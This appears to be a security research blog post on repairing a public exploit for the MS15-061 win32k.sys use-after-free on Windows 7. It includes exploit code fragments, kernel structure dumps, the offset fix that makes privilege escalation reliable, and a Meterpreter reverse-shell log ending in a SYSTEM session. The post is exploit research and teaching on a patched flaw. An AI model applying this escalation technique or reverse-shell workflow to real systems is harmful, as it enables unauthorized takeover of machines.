Last updated at Mon, 11 Dec 2023 19:59:32 GMT

Recently, the MS15-061 bulletin has received some attention. This security bulletin includes patches for several Windows Kernel vulnerabilities, mainly related to win32k.sys. Details of one of them, discovered by Udi Yavo, have been very well covered.

First, the same Udi Yavo published details about the Use After Free on a blog entry. Later, Dominic Wang wrote a even more detailed analysis of both the vulnerability and its exploitation on this paper. Finally, Meysam firozi implemented the exploitation described by Dominic and published it.

These last days I have been playing with the published exploit, whose ultimate goal is to nullify the ACL of the winlogon.exe process. We won't cover the details of the vulnerability / exploit again because I don't think I can explain it better than the above references .  This vulnerability is definitely a good introduction to win32k.sys exploitation, and there are a lot of awesome materials to work with.

That said, while testing the Meysam's exploit, we have been making improvements here and there. I would like to share the details of the first set of modifications in this blog.

To begin testing, I built the published exploit, commented the DebugBreak() calls and "int 3" instructions, and tested it on a Windows 7 SP1 machine with win32k.sys 6.1.7601.18773. Immediately, I got a user space crash and the winlogon's ACL wasn't nullified:

I then attached a user-mode debugger and ran the exploit again. It caught the next crash in the hooked ClientCopyImage callback, while trying to reuse the freed memory:

An out-of-bounds memory access occurs when trying to compute the address of the HWND handler that will be used to trigger the memory reuse:

NtUserDefSetText(Secondhwnd[SecondWindowIndex], &plstr);

It is notable that a statically-sized array is used to store the window handles used for exploitation:

HWND Secondhwnd[50];

The first HWND in the array is the one whose tagWND is modified to allow execution from kernel context. The remaining window handlers are to reuse the freed memory on the ClientCopyImage User Mode Callback.

Unfortunately, this means which the vulnerability can be triggered only 49 times. Otherwise, more HWND handles are needed. As a brief reminder, the exploitation primitive used here decrements  an arbitrary memory address:

.text:BF8D0038 ; __stdcall HMUnlockObject(x)  
.text:BF8D0038 _HMUnlockObject@4 proc near             ; CODE XREF: ThreadLockExchangeAlways(x,x)+19 p  
.text:BF8D0038                                         ; ThreadLockExchange(x,x)+1D p ...  
.text:BF8D0038  
.text:BF8D0038 arg_0           = dword ptr  8  
.text:BF8D0038  
.text:BF8D0038                 mov     edi, edi  
.text:BF8D003A                 push    ebp  
.text:BF8D003B                 mov     ebp, esp  
.text:BF8D003D                 mov     eax, [ebp+arg_0]  
.text:BF8D0040                 dec     dword ptr [eax+4] ; Allows to decrement the contents of an arbitrary memory address  
.text:BF8D0043                 jnz     short loc_BF8D004B  
.text:BF8D0045                 push    eax  
.text:BF8D0046                 call    _HMUnlockObjectInternal@4 ; HMUnlockObjectInternal(x)  
.text:BF8D004B  
.text:BF8D004B loc_BF8D004B:                           ; CODE XREF: HMUnlockObject(x)+B j  
.text:BF8D004B                 pop     ebp  
.text:BF8D004C                 retn    4  
.text:BF8D004C _HMUnlockObject@4 endp  
   

This decrement occurs every time the use-after-free is exploited in the hooked user-mode callback. This arbitrary memory decrement translates into code execution when it is used to set the "bServerSideWindowProc" bit in the state field of a tagWND object. In the public exploit, the tagWND object is associated with the Secondhwnd[0] window. In this way its window procedure will be executed from kernel context.

The "state" field is found at offset 0x14 on the tagWND object:

   +0x014 state            : Uint4B  
   +0x014 bHasMeun         : Pos 0, 1 Bit  
   +0x014 bHasVerticalScrollbar : Pos 1, 1 Bit  
   +0x014 bHasHorizontalScrollbar : Pos 2, 1 Bit  
   +0x014 bHasCaption      : Pos 3, 1 Bit  
   +0x014 bSendSizeMoveMsgs : Pos 4, 1 Bit  
   +0x014 bMsgBox          : Pos 5, 1 Bit  
   +0x014 bActiveFrame     : Pos 6, 1 Bit  
   +0x014 bHasSPB          : Pos 7, 1 Bit  
   +0x014 bNoNCPaint       : Pos 8, 1 Bit  
   +0x014 bSendEraseBackground : Pos 9, 1 Bit  
   +0x014 bEraseBackground : Pos 10, 1 Bit  
   +0x014 bSendNCPaint     : Pos 11, 1 Bit  
   +0x014 bInternalPaint   : Pos 12, 1 Bit  
   +0x014 bUpdateDirty     : Pos 13, 1 Bit  
   +0x014 bHiddenPopup     : Pos 14, 1 Bit  
   +0x014 bForceMenuDraw   : Pos 15, 1 Bit  
   +0x014 bDialogWindow    : Pos 16, 1 Bit  
   +0x014 bHasCreatestructName : Pos 17, 1 Bit  
   +0x014 bServerSideWindowProc : Pos 18, 1 Bit  
   +0x014 bAnsiWindowProc  : Pos 19, 1 Bit  
   +0x014 bBeingActivated  : Pos 20, 1 Bit  
   +0x014 bHasPalette      : Pos 21, 1 Bit  
   +0x014 bPaintNotProcessed : Pos 22, 1 Bit  
   +0x014 bSyncPaintPending : Pos 23, 1 Bit  
   +0x014 bRecievedQuerySuspendMsg : Pos 24, 1 Bit  
   +0x014 bRecievedSuspendMsg : Pos 25, 1 Bit  
   +0x014 bToggleTopmost   : Pos 26, 1 Bit  
   +0x014 bRedrawIfHung    : Pos 27, 1 Bit  
   +0x014 bRedrawFrameIfHung : Pos 28, 1 Bit  
   +0x014 bAnsiCreator     : Pos 29, 1 Bit  
   +0x014 bMaximizesToMonitor : Pos 30, 1 Bit  
   +0x014 bDestroyed       : Pos 31, 1 Bit  

In the published exploit, the desired tagWND kernel address is leaked in the initialization routine, and its state field (kernelHandle 0x14) is configured as the address to be decremented through a call to the "ArbDecByOne" method:

ArbDecByOne((DWORD)kernelHandle + 0x14);  
  
VOID ArbDecByOne(DWORD addr){  
  *(DWORD *)(originalCLS + 0x58) = addr - 0x4;  
}  
  
void init()  
{  
     // ....  
     /* 
     +0x014 bForceMenuDraw   : Pos 15, 1 Bit 
     +0x014 bDialogWindow    : Pos 16, 1 Bit 
     +0x014 bHasCreatestructName : Pos 17, 1 Bit 
     +0x014 bServerSideWindowProc : Pos 18, 1 Bit 
     +0x014 bAnsiWindowProc  : Pos 19, 1 Bit 
     */  
     kernelHandle = GetKernelHandle(Secondhwnd[0]);  
     ArbDecByOne((DWORD)kernelHandle + 0x14);  //   
     // ....  
}  

Let's look at a Windows kernel debug session, observing the default "state" value of the tagWND object (before corruption):

  +0x014 state            : 0x40020018  
   +0x014 bHasMeun         : 0y0  
   +0x014 bHasVerticalScrollbar : 0y0  
   +0x014 bHasHorizontalScrollbar : 0y0  
   +0x014 bHasCaption      : 0y1  
   +0x014 bSendSizeMoveMsgs : 0y1  
   +0x014 bMsgBox          : 0y0  
   +0x014 bActiveFrame     : 0y0  
   +0x014 bHasSPB          : 0y0  
   +0x014 bNoNCPaint       : 0y0  
   +0x014 bSendEraseBackground : 0y0  
   +0x014 bEraseBackground : 0y0  
   +0x014 bSendNCPaint     : 0y0  
   +0x014 bInternalPaint   : 0y0  
   +0x014 bUpdateDirty     : 0y0  
   +0x014 bHiddenPopup     : 0y0  
   +0x014 bForceMenuDraw   : 0y0  
   +0x014 bDialogWindow    : 0y0  
   +0x014 bHasCreatestructName : 0y1  
   +0x014 bServerSideWindowProc : 0y0  
   +0x014 bAnsiWindowProc  : 0y0  
   +0x014 bBeingActivated  : 0y0  
   +0x014 bHasPalette      : 0y0  
   +0x014 bPaintNotProcessed : 0y0  
   +0x014 bSyncPaintPending : 0y0  
   +0x014 bRecievedQuerySuspendMsg : 0y0  
   +0x014 bRecievedSuspendMsg : 0y0  
   +0x014 bToggleTopmost   : 0y0  
   +0x014 bRedrawIfHung    : 0y0  
   +0x014 bRedrawFrameIfHung : 0y0  
   +0x014 bAnsiCreator     : 0y0  
   +0x014 bMaximizesToMonitor : 0y1  
   +0x014 bDestroyed       : 0y0  
   

The value here is 0x40020018. In order to set bServerSideWindowProc to 1 through decrements, "state" need to have the value 0x3fffffff. It means that the vulnerability needs to be triggered 0x20019 times, definitely more than the 49 HWND handles available. This is the cause of the out-of-bounds user mode crash we were experiencing.

Fortunately, we can take a shortcut to avoid these problems. Let's see what happens if we target tagWND 0x16 for decrement, instead of tagWND 0x14:

kd> dd fea33ad8 + 14 L2  
fea33aec  40020018 80000710  
kd> dd fea33ad8 + 16 L1  
fea33aee  07104002  
   

Now we just need to trigger the vulnerability three times to set the bServerSideWindowProc bit! Even more interesting, after the three decrements, 0x07104002 will become 0x7103fff. This means nothing outside of the "state" field is modified.

That said, we can simplify the original call to ArbDecByOne to become:

ArbDecByOne((DWORD)kernelHandle 0x16);

Then we can run the exploit again. This time there are no crashes. After running it, we can check the permissions for the winlogon.exe process (with ProcessExplorer for example). There should not have been any permissions assigned to the object:

Now we should be able migrate a Meterpreter session, from a non privileged process to the winlogon process, and get a new SYSTEM session back, like this:

  • Get a non privileged session in the target
msf exploit(handler) > rexploit  
[*] Reloading module...  
[*] Started reverse handler on 172.16.158.1:4444  
[*] Starting the payload handler...  
  
[*] Sending stage (885806 bytes) to 172.16.158.132  
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.132:49174) at 2015-09-24 13:25:45 -0500  
meterpreter > sysinfo  
Computer        : WIN-RNJ7NBRK9L7  
OS              : Windows 7 (Build 7601, Service Pack 1).  
Architecture    : x86  
System Language : en_US  
Domain          : WORKGROUP  
Logged On Users : 2  
Meterpreter     : x86/win32  
meterpreter > getpid  
Current pid: 1268  
meterpreter > getuid  
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez  
meterpreter > ps -S winlogon  
  
Process List  
============  
PID   PPID  Name               Arch  Session  User                          Path  
---   ----  ----               ----  -------  ----                          ----  
432   380   winlogon.exe       x86   1                                      C:\Windows\system32\winlogon.exe  
   
  • Run the exploit to nullify the winlogon.exe process ACL

  • Migrate successfully to the winlogon.exe process to get a SYSTEM session

meterpreter > migrate 432  
[*] Migrating from 1268 to 432...  
[*] Migration completed successfully.  
meterpreter > getuid  
Server username: NT AUTHORITY\SYSTEM  
meterpreter >  

Success! The original exploit with the small modifications can be found on this github branch. There are other interesting things to explore with this exploit. Look forward to those in future blog posts!